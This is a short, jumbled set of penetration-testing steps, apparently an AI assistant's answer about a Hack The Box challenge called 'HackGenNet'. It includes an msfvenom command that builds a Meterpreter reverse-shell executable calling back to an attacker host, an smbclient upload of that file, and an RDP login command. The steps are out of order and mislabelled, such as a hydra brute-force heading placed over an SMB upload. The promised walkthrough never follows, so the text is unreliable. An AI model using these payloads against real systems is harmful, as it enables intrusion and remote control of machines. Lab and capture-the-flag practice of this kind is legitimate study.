Use hydra to brute-force the RDP password:

smbclient //10.10.11.74/Users -U nobody put eternalblue.exe Execute the malicious executable on the target machine using psexec or winexe :

Create a malicious executable:

msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=4444 -f exe > eternalblue.exe Transfer the executable to the target machine using SMB:

xfreerdp /v:10.10.11.74 /u:user /p:password

The goal of the challenge is to access a hidden network. Once you've gained access to the target machine, you can use its network connectivity to pivot into the hidden network.

I'm assuming you're referring to Hack The Box's "HackGenNet" challenge. I'll provide a comprehensive walkthrough to help you solve it.